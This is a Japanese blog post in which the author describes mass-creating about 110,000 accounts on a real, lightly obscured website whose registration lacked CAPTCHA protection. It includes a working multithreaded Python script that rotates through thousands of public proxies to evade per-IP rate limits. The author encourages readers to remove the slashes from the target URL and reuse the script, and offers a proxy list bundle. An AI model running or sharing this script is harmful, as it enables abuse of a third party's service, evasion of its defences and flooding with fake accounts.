某サイトのアカウント作成システムが終わっていたのでProxyを経由して11万アカウント作ってみた
経緯
今時CloudflareもreCAPTCHAも導入されていなくてアカウント作成に何の制限もなかったので。あと直接リンクは貼りませんがコイツ問題児なのでいいだろうという安易な考え。
Proxyを経由させた理由
同一IPからの過剰アクセスはさすがに対策してたようで、回避のためにランダムに採集した公開Proxy 3000個ほどを調達してきました。参考サイト : https://checkerproxy.net/
ソースコード
import requests
import threading
import time
import random
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36',
}
data = {
'favorites': '',
'username': 'accountGenerator0',
'password': 'U8shfhi9a38',
'confirm_password': 'U8shfhi9a38',
}
def send_request():
while True:
proxy_file = open('proxies.txt', 'r')
proxies = proxy_file.readlines()
proxy = random.choice(proxies).strip()
proxy_dict = {"http": proxy, "https": proxy}
proxy_file.close()
print(f"{threading.current_thread().name} - Sending request with proxy: {proxy}")
try:
response = requests.post('https://ke/mo/no/.party/account/register', headers=headers, data=data, proxies=proxy_dict, timeout=10)
if response.status_code == 200:
print(f"{threading.current_thread().name} - Good proxy: {proxy}")
global counter
data['username'] = 'accountGeneretor' + str(counter)
counter += 1
print(f"{threading.current_thread().name} - User Generated: {data['username']}")
else:
continue
except:
print(f"{threading.current_thread().name} - Request failed with proxy: {proxy}")
if __name__ == "__main__":
counter = 0
for i in range(8):
t = threading.Thread(target=send_request, args=())
t.start()
パスワードやアカウント名はサンプルなのでご自由に変更どうぞ。kmnの部分の斜線は自分で消してね。
以下ProxylistとPyファイルを同梱したものです。